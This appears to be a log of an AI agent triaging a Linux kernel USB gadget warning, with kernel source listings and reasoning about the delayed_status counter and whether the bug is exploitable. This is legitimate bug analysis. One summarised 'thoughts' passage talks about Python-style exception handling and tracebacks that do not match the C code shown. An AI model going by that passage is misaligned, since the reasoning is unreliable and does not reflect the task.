2731: * stages by returning USB_GADGET_DELAYED_STATUS.
2732: */
2733: void usb_composite_setup_continue(struct usb_composite_dev *cdev)
2734: {
2735: int value;
2736: struct usb_request *req = cdev->req;
2737: unsigned long flags;
2738:
2739: DBG(cdev, "%s\n", __func__);
2740: spin_lock_irqsave(&cdev->lock, flags);
2741:
2742: if (cdev->delayed_status == 0) {
2743: WARN(cdev, "%s: Unexpected call\n", __func__);
2744:
2745: } else if (--cdev->delayed_status == 0) {
2746: DBG(cdev, "%s: Completing delayed status\n", __func__);
2747: req->length = 0;
2748: req->context = cdev;
2749: value = composite_ep0_queue(cdev, req, GFP_ATOMIC);
2750: if (value < 0) {
2751: DBG(cdev, "ep_queue --> %d\n", value);
2752: req->status = 0;
2753: composite_setup_complete(cdev->gadget->ep0, req);
2754: }
2755: }
2756:
2757: spin_unlock_irqrestore(&cdev->lock, flags);
2758: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 8/2 |
2026/08/13 11:22 |
llm |
expert |
0m
Model:
Tokens:
input: 11304
output: 46
thoughts: 447
Thoughts: **Analyzing a USB Gadget Warning**
Okay, so I'm looking at this warning that's triggered when `cdev->delayed_status` is zero. That tells me `usb_composite_setup_continue` is being called when it shouldn't be, or perhaps too often. The reproducer utilizes `configfs` to create a USB mass storage gadget and then uses `/dev/bus/usb/` to send control requests. Right, it mounts configfs, sets up a gadget, and binds it to a UDC. It looks for the UDC in `/sys/class/udc` and then finds the device in `/sys/bus/usb/devices` to interact with it via `/dev/bus/usb/...`.
This setup is interesting, playing both device and host roles, likely enabled by loading `dummy_hcd`, since that provides both a UDC *and* an HCD. Or, it could be a real device, but the use of `dummy_lun` suggests it's likely the former. It's essentially a software-only USB controller, if `dummy_hcd` is the case.
The big question now is, is this exploitable? The warning itself is just a `WARN`, not a crash. It just unlocks the spinlock and returns. It doesn't appear to corrupt memory directly.
Let's dig deeper: if `delayed_status` is zero, the function effectively does *nothing* other than the warning and spinlock release. Is that a problem? Does this indicate a state machine out of sync, perhaps? The warning alone isn't a DoS (unless `panic_on_warn` is set, which is unlikely). Could it lead to a use-after-free down the line, or something similar?
I'll need to trace where `usb_composite_setup_continue` is called. Specifically, I'll examine `fsg_main_thread`, that's where I need to look for now.
|
| 9/2 |
2026/08/13 11:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/function/f_mass_storage.c Name:fsg_main_thread]
Results: map[SourceCode:2569: static int fsg_main_thread(void *common_)
2570: {
2571: struct fsg_common *common = common_;
2572: int i;
2573:
2574: /*
2575: * Allow the thread to be killed by a signal, but set the signal mask
2576: * to block everything but INT, TERM, KILL, and USR1.
2577: */
2578: allow_signal(SIGINT);
2579: allow_signal(SIGTERM);
2580: allow_signal(SIGKILL);
2581: allow_signal(SIGUSR1);
2582:
2583: /* Allow the thread to be frozen */
2584: set_freezable();
2585:
2586: /* The main loop */
2587: while (common->state != FSG_STATE_TERMINATED) {
2588: if (exception_in_progress(common) || signal_pending(current)) {
2589: handle_exception(common);
2590: continue;
2591: }
2592:
2593: if (!common->running) {
2594: sleep_thread(common, true, NULL);
2595: continue;
2596: }
2597:
2598: if (get_next_command(common) || exception_in_progress(common))
2599: continue;
2600: if (do_scsi_command(common) || exception_in_progress(common))
2601: continue;
2602: if (finish_reply(common) || exception_in_progress(common))
2603: continue;
2604: send_status(common);
2605: }
2606:
2607: spin_lock_irq(&common->lock);
2608: common->thread_task = NULL;
2609: spin_unlock_irq(&common->lock);
2610:
2611: /* Eject media from all LUNs */
2612:
2613: down_write(&common->filesem);
2614: for (i = 0; i < ARRAY_SIZE(common->luns); i++) {
2615: struct fsg_lun *curlun = common->luns[i];
2616:
2617: if (curlun && fsg_lun_is_open(curlun))
2618: fsg_lun_close(curlun);
2619: }
2620: up_write(&common->filesem);
2621:
2622: /* Let fsg_unbind() know the thread has exited */
2623: kthread_complete_and_exit(&common->thread_notifier, 0);
2624: }
SourceFile:drivers/usb/gadget/function/f_mass_storage.c]
|
| 10/2 |
2026/08/13 11:22 |
llm |
expert |
0m
Model:
Tokens:
input: 13048
output: 43
thoughts: 9
Thoughts: Okay, here's my attempt at summarizing the thought process, tailored for an expert audience, and written in the first person:
**Diving into Exception Handling**
Alright, time to dig into the `handle_exception` function. I'm already anticipating some of the usual suspects here. Is it just a basic try-except block, or are we dealing with more sophisticated error classification and re-raising? Hopefully, we've got some good logging in place. I want to see if it's logging the exception type, the traceback, maybe even some contextual data. I’m hoping to understand exactly where this particular exception is happening, and what state the system was in. Are we masking exceptions with generic messages, or are we being helpful and providing meaningful information for debugging?
I'll be looking to see if it's gracefully handling specific exception types or if it's a catch-all that's potentially hiding critical issues. Are we properly cleaning up resources, like closing file handles or releasing locks, even in the event of an error? Are there any potential race conditions within the exception handling block itself? I’ve seen that before, and it’s a nightmare. I’m also keen to assess whether it's propagating the exception correctly, perhaps re-raising it with additional context, or if it's simply swallowing the error, which can be a huge headache down the line. I want to assess if there are any custom exception types defined or used within this function that may be helping or hindering the development team. Time to dissect and see what we've got.
|
| 11/2 |
2026/08/13 11:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/function/f_mass_storage.c Name:handle_exception]
Results: map[SourceCode:2434: static void handle_exception(struct fsg_common *common)
2435: {
2436: int i;
2437: struct fsg_buffhd *bh;
2438: enum fsg_state old_state;
2439: struct fsg_lun *curlun;
2440: unsigned int exception_req_tag;
2441: struct fsg_dev *new_fsg;
2442:
2443: /*
2444: * Clear the existing signals. Anything but SIGUSR1 is converted
2445: * into a high-priority EXIT exception.
2446: */
2447: for (;;) {
2448: int sig = kernel_dequeue_signal();
2449: if (!sig)
2450: break;
2451: if (sig != SIGUSR1) {
2452: spin_lock_irq(&common->lock);
2453: if (common->state < FSG_STATE_EXIT)
2454: DBG(common, "Main thread exiting on signal\n");
2455: common->state = FSG_STATE_EXIT;
2456: spin_unlock_irq(&common->lock);
2457: }
2458: }
2459:
2460: /* Cancel all the pending transfers */
2461: if (likely(common->fsg)) {
2462: for (i = 0; i < common->fsg_num_buffers; ++i) {
2463: bh = &common->buffhds[i];
2464: if (bh->state == BUF_STATE_SENDING)
2465: usb_ep_dequeue(common->fsg->bulk_in, bh->inreq);
2466: if (bh->state == BUF_STATE_RECEIVING)
2467: usb_ep_dequeue(common->fsg->bulk_out,
2468: bh->outreq);
2469:
2470: /* Wait for a transfer to become idle */
2471: if (sleep_thread(common, false, bh))
2472: return;
2473: }
2474:
2475: /* Clear out the controller's fifos */
2476: if (common->fsg->bulk_in_enabled)
2477: usb_ep_fifo_flush(common->fsg->bulk_in);
2478: if (common->fsg->bulk_out_enabled)
2479: usb_ep_fifo_flush(common->fsg->bulk_out);
2480: }
2481:
2482: /*
2483: * Reset the I/O buffer states and pointers, the SCSI
2484: * state, and the exception. Then invoke the handler.
2485: */
2486: spin_lock_irq(&common->lock);
2487:
2488: for (i = 0; i < common->fsg_num_buffers; ++i) {
2489: bh = &common->buffhds[i];
2490: bh->state = BUF_STATE_EMPTY;
2491: }
2492: common->next_buffhd_to_fill = &common->buffhds[0];
2493: common->next_buffhd_to_drain = &common->buffhds[0];
2494: exception_req_tag = common->exception_req_tag;
2495: new_fsg = common->exception_arg;
2496: old_state = common->state;
2497: common->state = FSG_STATE_NORMAL;
2498:
2499: if (old_state != FSG_STATE_ABORT_BULK_OUT) {
2500: for (i = 0; i < ARRAY_SIZE(common->luns); ++i) {
2501: curlun = common->luns[i];
2502: if (!curlun)
2503: continue;
2504: curlun->prevent_medium_removal = 0;
2505: curlun->sense_data = SS_NO_SENSE;
2506: curlun->unit_attention_data = SS_NO_SENSE;
2507: curlun->sense_data_info = 0;
2508: curlun->info_valid = 0;
2509: }
2510: }
2511: spin_unlock_irq(&common->lock);
2512:
2513: /* Carry out any extra actions required for the exception */
2514: switch (old_state) {
2515: case FSG_STATE_NORMAL:
2516: break;
2517:
2518: case FSG_STATE_ABORT_BULK_OUT:
2519: send_status(common);
2520: break;
2521:
2522: case FSG_STATE_PROTOCOL_RESET:
2523: /*
2524: * In case we were forced against our will to halt a
2525: * bulk endpoint, clear the halt now. (The SuperH UDC
2526: * requires this.)
2527: */
2528: if (!fsg_is_set(common))
2529: break;
2530: if (test_and_clear_bit(IGNORE_BULK_OUT,
2531: &common->fsg->atomic_bitflags))
2532: usb_ep_clear_halt(common->fsg->bulk_in);
2533:
2534: if (common->ep0_req_tag == exception_req_tag)
2535: ep0_queue(common); /* Complete the status stage */
2536:
2537: /*
2538: * Technically this should go here, but it would only be
2539: * a waste of time. Ditto for the INTERFACE_CHANGE and
2540: * CONFIG_CHANGE cases.
2541: */
2542: /* for (i = 0; i < common->ARRAY_SIZE(common->luns); ++i) */
2543: /* if (common->luns[i]) */
2544: /* common->luns[i]->unit_attention_data = */
2545: /* SS_RESET_OCCURRED; */
2546: break;
2547:
2548: case FSG_STATE_CONFIG_CHANGE:
2549: do_set_interface(common, new_fsg);
2550: if (new_fsg)
2551: usb_composite_setup_continue(common->cdev);
2552: break;
2553:
2554: case FSG_STATE_EXIT:
2555: do_set_interface(common, NULL); /* Free resources */
2556: spin_lock_irq(&common->lock);
2557: common->state = FSG_STATE_TERMINATED; /* Stop the thread */
2558: spin_unlock_irq(&common->lock);
2559: break;
2560:
2561: case FSG_STATE_TERMINATED:
2562: break;
2563: }
2564: }
SourceFile:drivers/usb/gadget/function/f_mass_storage.c]
|
| 12/2 |
2026/08/13 11:22 |
llm |
expert |
0m
Model:
Tokens:
input: 15497
output: 37
thoughts: 309
Thoughts: **Analyzing a USB Gadget Driver Warning**
Okay, let's break this down. I'm looking at a warning that occurs within `usb_composite_setup_continue`, specifically triggered from `handle_exception`. The crux of it seems to be when `old_state` equals `FSG_STATE_CONFIG_CHANGE`. The reproducer is interesting; it's bouncing between `SET_CONFIGURATION` requests with values 1 and 0, and throws in a `VENDOR` request for good measure. They submit some URBs, and then throw away a `SET_CONFIGURATION` URB, which is a key part of the problem.
The `SET_CONFIGURATION` request kicks off `fsg_set_alt`, which sets the `common->state` to `FSG_STATE_CONFIG_CHANGE` and raises an exception. `fsg_set_alt` then returns `USB_GADGET_DELAYED_STATUS`. This is key: it increments `cdev->delayed_status`.
Then, `handle_exception` calls `usb_composite_setup_continue`, which *decrements* `cdev->delayed_status`. The code warns if `cdev->delayed_status` is already 0. So how is it getting to 0?
I initially thought maybe `fsg_set_alt` is called, but something else is clearing `cdev->delayed_status`. That seems possible. Or, is it that `handle_exception` is being called multiple times for the same `FSG_STATE_CONFIG_CHANGE`? But no, `handle_exception` resets `common->state = FSG_STATE_NORMAL` before the switch, so it's not a re-entrant issue.
Aha! Wait... I see it. If `cdev->delayed_status` is cleared by `composite_setup` when a new setup request arrives, this could cause the warning. A new `SET_CONFIGURATION` or setup request arrives before the first has been fully handled which overwrites the value. It has to be that, so I'll follow that code.
|
| 13/2 |
2026/08/13 11:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:composite_setup]
Results: map[SourceCode:1746: /*
1747: * The setup() callback implements all the ep0 functionality that's
1748: * not handled lower down, in hardware or the hardware driver(like
1749: * device and endpoint feature flags, and their status). It's all
1750: * housekeeping for the gadget function we're implementing. Most of
1751: * the work is in config and function specific setup.
1752: */
1753: int
1754: composite_setup(struct usb_gadget *gadget, const struct usb_ctrlrequest *ctrl)
1755: {
1756: struct usb_composite_dev *cdev = get_gadget_data(gadget);
1757: struct usb_request *req = cdev->req;
1758: int value = -EOPNOTSUPP;
1759: int status = 0;
1760: u16 w_index = le16_to_cpu(ctrl->wIndex);
1761: u8 intf = w_index & 0xFF;
1762: u16 w_value = le16_to_cpu(ctrl->wValue);
1763: u16 w_length = le16_to_cpu(ctrl->wLength);
1764: struct usb_function *f = NULL;
1765: struct usb_function *iter;
1766: u8 endp;
1767:
1768: if (w_length > USB_COMP_EP0_BUFSIZ) {
1769: if (ctrl->bRequestType & USB_DIR_IN) {
1770: /* Cast away the const, we are going to overwrite on purpose. */
1771: __le16 *temp = (__le16 *)&ctrl->wLength;
1772:
1773: *temp = cpu_to_le16(USB_COMP_EP0_BUFSIZ);
1774: w_length = USB_COMP_EP0_BUFSIZ;
1775: } else {
1776: goto done;
1777: }
1778: }
1779:
1780: /* partial re-init of the response message; the function or the
1781: * gadget might need to intercept e.g. a control-OUT completion
1782: * when we delegate to it.
1783: */
1784: req->zero = 0;
1785: req->context = cdev;
1786: req->complete = composite_setup_complete;
1787: req->length = 0;
1788: gadget->ep0->driver_data = cdev;
1789:
1790: /*
1791: * Don't let non-standard requests match any of the cases below
1792: * by accident.
1793: */
1794: if ((ctrl->bRequestType & USB_TYPE_MASK) != USB_TYPE_STANDARD)
1795: goto unknown;
1796:
1797: switch (ctrl->bRequest) {
1798:
1799: /* we handle all standard USB descriptors */
1800: case USB_REQ_GET_DESCRIPTOR:
1801: if (ctrl->bRequestType != USB_DIR_IN)
1802: goto unknown;
1803: switch (w_value >> 8) {
1804:
1805: case USB_DT_DEVICE:
1806: cdev->desc.bNumConfigurations =
1807: count_configs(cdev, USB_DT_DEVICE);
1808: cdev->desc.bMaxPacketSize0 =
1809: cdev->gadget->ep0->maxpacket;
1810: if (gadget_is_superspeed(gadget)) {
1811: if (gadget->speed >= USB_SPEED_SUPER) {
1812: cdev->desc.bcdUSB = cpu_to_le16(0x0320);
1813: cdev->desc.bMaxPacketSize0 = 9;
1814: } else {
1815: cdev->desc.bcdUSB = cpu_to_le16(0x0210);
1816: }
1817: } else {
1818: if (gadget->lpm_capable || cdev->use_webusb)
1819: cdev->desc.bcdUSB = cpu_to_le16(0x0201);
1820: else
1821: cdev->desc.bcdUSB = cpu_to_le16(0x0200);
1822: }
1823:
1824: value = min_t(u16, w_length, sizeof(cdev->desc));
1825: memcpy(req->buf, &cdev->desc, value);
1826: break;
1827: case USB_DT_DEVICE_QUALIFIER:
1828: if (!gadget_is_dualspeed(gadget) ||
1829: gadget->speed >= USB_SPEED_SUPER)
1830: break;
1831: device_qual(cdev);
1832: value = min_t(int, w_length,
1833: sizeof(struct usb_qualifier_descriptor));
1834: break;
1835: case USB_DT_OTHER_SPEED_CONFIG:
1836: if (!gadget_is_dualspeed(gadget) ||
1837: gadget->speed >= USB_SPEED_SUPER)
1838: break;
1839: fallthrough;
1840: case USB_DT_CONFIG:
1841: value = config_desc(cdev, w_value);
1842: if (value >= 0)
1843: value = min_t(u16, w_length, value);
1844: break;
1845: case USB_DT_STRING:
1846: value = get_string(cdev, req->buf,
1847: w_index, w_value & 0xff);
1848: if (value >= 0)
1849: value = min_t(u16, w_length, value);
1850: break;
1851: case USB_DT_BOS:
1852: if (gadget_is_superspeed(gadget) ||
1853: gadget->lpm_capable || cdev->use_webusb) {
1854: value = bos_desc(cdev);
1855: value = min_t(u16, w_length, value);
1856: }
1857: break;
1858: case USB_DT_OTG:
1859: if (gadget_is_otg(gadget)) {
1860: struct usb_configuration *config;
1861: int otg_desc_len = 0;
1862:
1863: if (cdev->config)
1864: config = cdev->config;
1865: else
1866: config = list_first_entry_or_null(
1867: &cdev->configs,
1868: struct usb_configuration,
1869: list);
1870: if (!config)
1871: goto done;
1872:
1873: if (gadget->otg_caps &&
1874: (gadget->otg_caps->otg_rev >= 0x0200))
1875: otg_desc_len += sizeof(
1876: struct usb_otg20_descriptor);
1877: else
1878: otg_desc_len += sizeof(
1879: struct usb_otg_descriptor);
1880:
1881: value = min_t(int, w_length, otg_desc_len);
1882: memcpy(req->buf, config->descriptors[0], value);
1883: }
1884: break;
1885: }
1886: break;
1887:
1888: /* any number of configs can work */
1889: case USB_REQ_SET_CONFIGURATION:
1890: if (ctrl->bRequestType != 0)
1891: goto unknown;
1892: if (gadget_is_otg(gadget)) {
1893: if (gadget->a_hnp_support)
1894: DBG(cdev, "HNP available\n");
1895: else if (gadget->a_alt_hnp_support)
1896: DBG(cdev, "HNP on another port\n");
1897: else
1898: VDBG(cdev, "HNP inactive\n");
1899: }
1900: spin_lock(&cdev->lock);
1901: value = set_config(cdev, ctrl, w_value);
1902: spin_unlock(&cdev->lock);
1903: break;
1904: case USB_REQ_GET_CONFIGURATION:
1905: if (ctrl->bRequestType != USB_DIR_IN)
1906: goto unknown;
1907: if (cdev->config)
1908: *(u8 *)req->buf = cdev->config->bConfigurationValue;
1909: else
1910: *(u8 *)req->buf = 0;
1911: value = min_t(u16, w_length, 1);
1912: break;
1913:
1914: /* function drivers must handle get/set altsetting */
1915: case USB_REQ_SET_INTERFACE:
1916: if (ctrl->bRequestType != USB_RECIP_INTERFACE)
1917: goto unknown;
1918: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
1919: break;
1920: f = cdev->config->interface[intf];
1921: if (!f)
1922: break;
1923:
1924: /*
1925: * If there's no get_alt() method, we know only altsetting zero
1926: * works. There is no need to check if set_alt() is not NULL
1927: * as we check this in usb_add_function().
1928: */
1929: if (w_value && !f->get_alt)
1930: break;
1931:
1932: spin_lock(&cdev->lock);
1933: value = f->set_alt(f, w_index, w_value);
1934: if (value == USB_GADGET_DELAYED_STATUS) {
1935: DBG(cdev,
1936: "%s: interface %d (%s) requested delayed status\n",
1937: __func__, intf, f->name);
1938: cdev->delayed_status++;
1939: DBG(cdev, "delayed_status count %d\n",
1940: cdev->delayed_status);
1941: }
1942: spin_unlock(&cdev->lock);
1943: break;
1944: case USB_REQ_GET_INTERFACE:
1945: if (ctrl->bRequestType != (USB_DIR_IN|USB_RECIP_INTERFACE))
1946: goto unknown;
1947: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
1948: break;
1949: f = cdev->config->interface[intf];
1950: if (!f)
1951: break;
1952: /* lots of interfaces only need altsetting zero... */
1953: value = f->get_alt ? f->get_alt(f, w_index) : 0;
1954: if (value < 0)
1955: break;
1956: *((u8 *)req->buf) = value;
1957: value = min_t(u16, w_length, 1);
1958: break;
1959: case USB_REQ_GET_STATUS:
1960: if (gadget_is_otg(gadget) && gadget->hnp_polling_support &&
1961: (w_index == OTG_STS_SELECTOR)) {
1962: if (ctrl->bRequestType != (USB_DIR_IN |
1963: USB_RECIP_DEVICE))
1964: goto unknown;
1965: *((u8 *)req->buf) = gadget->host_request_flag;
1966: value = 1;
1967: break;
1968: }
1969:
1970: /*
1971: * USB 3.0 additions:
1972: * Function driver should handle get_status request. If such cb
1973: * wasn't supplied we respond with default value = 0
1974: * Note: function driver should supply such cb only for the
1975: * first interface of the function
1976: */
1977: if (!gadget_is_superspeed(gadget))
1978: goto unknown;
1979: if (ctrl->bRequestType != (USB_DIR_IN | USB_RECIP_INTERFACE))
1980: goto unknown;
1981: value = 2; /* This is the length of the get_status reply */
1982: put_unaligned_le16(0, req->buf);
1983: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
1984: break;
1985: f = cdev->config->interface[intf];
1986: if (!f)
1987: break;
1988:
1989: if (f->get_status) {
1990: status = f->get_status(f);
1991:
1992: if (status < 0)
1993: break;
1994:
1995: /* if D5 is not set, then device is not wakeup capable */
1996: if (!(f->config->bmAttributes & USB_CONFIG_ATT_WAKEUP))
1997: status &= ~(USB_INTRF_STAT_FUNC_RW_CAP | USB_INTRF_STAT_FUNC_RW);
1998: }
1999:
2000: put_unaligned_le16(status & 0x0000ffff, req->buf);
2001: break;
2002: /*
2003: * Function drivers should handle SetFeature/ClearFeature
2004: * (FUNCTION_SUSPEND) request. function_suspend cb should be supplied
2005: * only for the first interface of the function
2006: */
2007: case USB_REQ_CLEAR_FEATURE:
2008: case USB_REQ_SET_FEATURE:
2009: if (!gadget_is_superspeed(gadget))
2010: goto unknown;
2011: if (ctrl->bRequestType != (USB_DIR_OUT | USB_RECIP_INTERFACE))
2012: goto unknown;
2013: switch (w_value) {
2014: case USB_INTRF_FUNC_SUSPEND:
2015: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
2016: break;
2017: f = cdev->config->interface[intf];
2018: if (!f)
2019: break;
2020: value = 0;
2021: if (f->func_suspend) {
2022: value = f->func_suspend(f, w_index >> 8);
2023: /* SetFeature(FUNCTION_SUSPEND) */
2024: } else if (ctrl->bRequest == USB_REQ_SET_FEATURE) {
2025: if (!(f->config->bmAttributes &
2026: USB_CONFIG_ATT_WAKEUP) &&
2027: (w_index & USB_INTRF_FUNC_SUSPEND_RW))
2028: break;
2029:
2030: f->func_wakeup_armed = !!(w_index &
2031: USB_INTRF_FUNC_SUSPEND_RW);
2032:
2033: if (w_index & USB_INTRF_FUNC_SUSPEND_LP) {
2034: if (f->suspend && !f->func_suspended) {
2035: f->suspend(f);
2036: f->func_suspended = true;
2037: }
2038: /*
2039: * Handle cases where host sends function resume
2040: * through SetFeature(FUNCTION_SUSPEND) but low power
2041: * bit reset
2042: */
2043: } else {
2044: if (f->resume && f->func_suspended) {
2045: f->resume(f);
2046: f->func_suspended = false;
2047: }
2048: }
2049: /* ClearFeature(FUNCTION_SUSPEND) */
2050: } else if (ctrl->bRequest == USB_REQ_CLEAR_FEATURE) {
2051: f->func_wakeup_armed = false;
2052:
2053: if (f->resume && f->func_suspended) {
2054: f->resume(f);
2055: f->func_suspended = false;
2056: }
2057: }
2058:
2059: if (value < 0) {
2060: ERROR(cdev,
2061: "func_suspend() returned error %d\n",
2062: value);
2063: value = 0;
2064: }
2065: break;
2066: }
2067: break;
2068: default:
2069: unknown:
2070: /*
2071: * OS descriptors handling
2072: */
2073: if (cdev->use_os_string && cdev->os_desc_config &&
2074: (ctrl->bRequestType & USB_TYPE_VENDOR) &&
2075: ctrl->bRequest == cdev->b_vendor_code) {
2076: struct usb_configuration *os_desc_cfg;
2077: u8 *buf;
2078: int interface;
2079: int count = 0;
2080:
2081: req = cdev->os_desc_req;
2082: req->context = cdev;
2083: req->complete = composite_setup_complete;
2084: buf = req->buf;
2085: os_desc_cfg = cdev->os_desc_config;
2086: w_length = min_t(u16, w_length, USB_COMP_EP0_OS_DESC_BUFSIZ);
2087: memset(buf, 0, w_length);
2088: buf[5] = 0x01;
2089: switch (ctrl->bRequestType & USB_RECIP_MASK) {
2090: /*
2091: * The Microsoft CompatID OS Descriptor Spec(w_index = 0x4) and
2092: * Extended Prop OS Desc Spec(w_index = 0x5) state that the
2093: * HighByte of wValue is the InterfaceNumber and the LowByte is
2094: * the PageNumber. This high/low byte ordering is incorrectly
2095: * documented in the Spec. USB analyzer output on the below
2096: * request packets show the high/low byte inverted i.e LowByte
2097: * is the InterfaceNumber and the HighByte is the PageNumber.
2098: * Since we dont support >64KB CompatID/ExtendedProp descriptors,
2099: * PageNumber is set to 0. Hence verify that the HighByte is 0
2100: * for below two cases.
2101: */
2102: case USB_RECIP_DEVICE:
2103: if (w_index != 0x4 || (w_value >> 8))
2104: break;
2105: buf[6] = w_index;
2106: /* Number of ext compat interfaces */
2107: count = count_ext_compat(os_desc_cfg);
2108: buf[8] = count;
2109: count *= 24; /* 24 B/ext compat desc */
2110: count += 16; /* header */
2111: put_unaligned_le32(count, buf);
2112: value = w_length;
2113: if (w_length > 0x10) {
2114: value = fill_ext_compat(os_desc_cfg, buf);
2115: value = min_t(u16, w_length, value);
2116: }
2117: break;
2118: case USB_RECIP_INTERFACE:
2119: if (w_index != 0x5 || (w_value >> 8))
2120: break;
2121: interface = w_value & 0xFF;
2122: if (interface >= MAX_CONFIG_INTERFACES ||
2123: !os_desc_cfg->interface[interface])
2124: break;
2125: buf[6] = w_index;
2126: count = count_ext_prop(os_desc_cfg,
2127: interface);
2128: put_unaligned_le16(count, buf + 8);
2129: count = len_ext_prop(os_desc_cfg,
2130: interface);
2131: put_unaligned_le32(count, buf);
2132: value = w_length;
2133: if (w_length > 0x0A) {
2134: value = fill_ext_prop(os_desc_cfg,
2135: interface, buf);
2136: if (value >= 0)
2137: value = min_t(u16, w_length, value);
2138: }
2139: break;
2140: }
2141:
2142: goto check_value;
2143: }
2144:
2145: /*
2146: * WebUSB URL descriptor handling, following:
2147: * https://wicg.github.io/webusb/#device-requests
2148: */
2149: if (cdev->use_webusb &&
2150: ctrl->bRequestType == (USB_DIR_IN | USB_TYPE_VENDOR) &&
2151: w_index == WEBUSB_GET_URL &&
2152: w_value == WEBUSB_LANDING_PAGE_PRESENT &&
2153: ctrl->bRequest == cdev->b_webusb_vendor_code) {
2154: unsigned int landing_page_length;
2155: unsigned int landing_page_offset;
2156: struct webusb_url_descriptor *url_descriptor =
2157: (struct webusb_url_descriptor *)cdev->req->buf;
2158:
2159: url_descriptor->bDescriptorType = WEBUSB_URL_DESCRIPTOR_TYPE;
2160:
2161: if (strncasecmp(cdev->landing_page, "https://", 8) == 0) {
2162: landing_page_offset = 8;
2163: url_descriptor->bScheme = WEBUSB_URL_SCHEME_HTTPS;
2164: } else if (strncasecmp(cdev->landing_page, "http://", 7) == 0) {
2165: landing_page_offset = 7;
2166: url_descriptor->bScheme = WEBUSB_URL_SCHEME_HTTP;
2167: } else {
2168: landing_page_offset = 0;
2169: url_descriptor->bScheme = WEBUSB_URL_SCHEME_NONE;
2170: }
2171:
2172: landing_page_length = strnlen(cdev->landing_page,
2173: sizeof(url_descriptor->URL)
2174: - WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH + landing_page_offset);
2175:
2176: if (w_length < WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH)
2177: landing_page_length = landing_page_offset;
2178: else if (w_length <
2179: WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH + landing_page_length)
2180: landing_page_length = w_length
2181: - WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH + landing_page_offset;
2182:
2183: memcpy(url_descriptor->URL,
2184: cdev->landing_page + landing_page_offset,
2185: landing_page_length - landing_page_offset);
2186: url_descriptor->bLength = landing_page_length
2187: - landing_page_offset + WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH;
2188:
2189: value = url_descriptor->bLength;
2190:
2191: goto check_value;
2192: }
2193:
2194: VDBG(cdev,
2195: "non-core control req%02x.%02x v%04x i%04x l%d\n",
2196: ctrl->bRequestType, ctrl->bRequest,
2197: w_value, w_index, w_length);
2198:
2199: /* functions always handle their interfaces and endpoints...
2200: * punt other recipients (other, WUSB, ...) to the current
2201: * configuration code.
2202: */
2203: if (cdev->config) {
2204: list_for_each_entry(f, &cdev->config->functions, list)
2205: if (f->req_match &&
2206: f->req_match(f, ctrl, false))
2207: goto try_fun_setup;
2208: } else {
2209: struct usb_configuration *c;
2210: list_for_each_entry(c, &cdev->configs, list)
2211: list_for_each_entry(f, &c->functions, list)
2212: if (f->req_match &&
2213: f->req_match(f, ctrl, true))
2214: goto try_fun_setup;
2215: }
2216: f = NULL;
2217:
2218: switch (ctrl->bRequestType & USB_RECIP_MASK) {
2219: case USB_RECIP_INTERFACE:
2220: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
2221: break;
2222: f = cdev->config->interface[intf];
2223: break;
2224:
2225: case USB_RECIP_ENDPOINT:
2226: if (!cdev->config)
2227: break;
2228: endp = ((w_index & 0x80) >> 3) | (w_index & 0x0f);
2229: list_for_each_entry(iter, &cdev->config->functions, list) {
2230: if (test_bit(endp, iter->endpoints)) {
2231: f = iter;
2232: break;
2233: }
2234: }
2235: break;
2236: }
2237: try_fun_setup:
2238: if (f && f->setup)
2239: value = f->setup(f, ctrl);
2240: else {
2241: struct usb_configuration *c;
2242:
2243: c = cdev->config;
2244: if (!c)
2245: goto done;
2246:
2247: /* try current config's setup */
2248: if (c->setup) {
2249: value = c->setup(c, ctrl);
2250: goto done;
2251: }
2252:
2253: /* try the only function in the current config */
2254: if (!list_is_singular(&c->functions))
2255: goto done;
2256: f = list_first_entry(&c->functions, struct usb_function,
2257: list);
2258: if (f->setup)
2259: value = f->setup(f, ctrl);
2260: }
2261:
2262: goto done;
2263: }
2264:
2265: check_value:
2266: /* respond with data transfer before status phase? */
2267: if (value >= 0 && value != USB_GADGET_DELAYED_STATUS) {
2268: req->length = value;
2269: req->context = cdev;
2270: req->zero = value < w_length;
2271: value = composite_ep0_queue(cdev, req, GFP_ATOMIC);
2272: if (value < 0) {
2273: DBG(cdev, "ep_queue --> %d\n", value);
2274: req->status = 0;
2275: composite_setup_complete(gadget->ep0, req);
2276: }
2277: } else if (value == USB_GADGET_DELAYED_STATUS && w_length != 0) {
2278: WARN(cdev,
2279: "%s: Delayed status not supported for w_length != 0",
2280: __func__);
2281: }
2282:
2283: done:
2284: /* device either stalls (value < 0) or reports success */
2285: return value;
2286: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 14/2 |
2026/08/13 11:22 |
llm |
expert |
0m
Model:
Tokens:
input: 24809
output: 37
thoughts: 82
Thoughts: Here's my understanding, as if I were thinking it through:
**Delayed Status Debug**
Okay, so I need to nail down exactly how `delayed_status` is being handled in the gadget driver. My initial thought was that `composite_setup` clears `cdev->delayed_status`, but it appears that's not the case. I need to be sure about this assumption.
Right, I'm tracking it now. `composite_setup` *increments* `cdev->delayed_status`, but only if a call to `f->set_alt` within that function returns `USB_GADGET_DELAYED_STATUS`. Makes sense, the function is setting the alternate setting.
Hmm, wait. I'm also remembering that `set_config` also has the capability to return `USB_GADGET_DELAYED_STATUS`. This could be another pathway that's setting the flag. Okay, this is useful. So, essentially, both configuration and interface setup can introduce a delayed status. I need to keep this in mind as I trace the execution flow and figure out what might be leading to unexpected delays. I need to look at how these two scenarios are handled to understand how to correctly interpret `cdev->delayed_status`.
|
| 15/2 |
2026/08/13 11:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:set_config]
Results: map[SourceCode: 947: static int set_config(struct usb_composite_dev *cdev,
948: const struct usb_ctrlrequest *ctrl, unsigned number)
949: {
950: struct usb_gadget *gadget = cdev->gadget;
951: struct usb_configuration *c = NULL, *iter;
952: int result = -EINVAL;
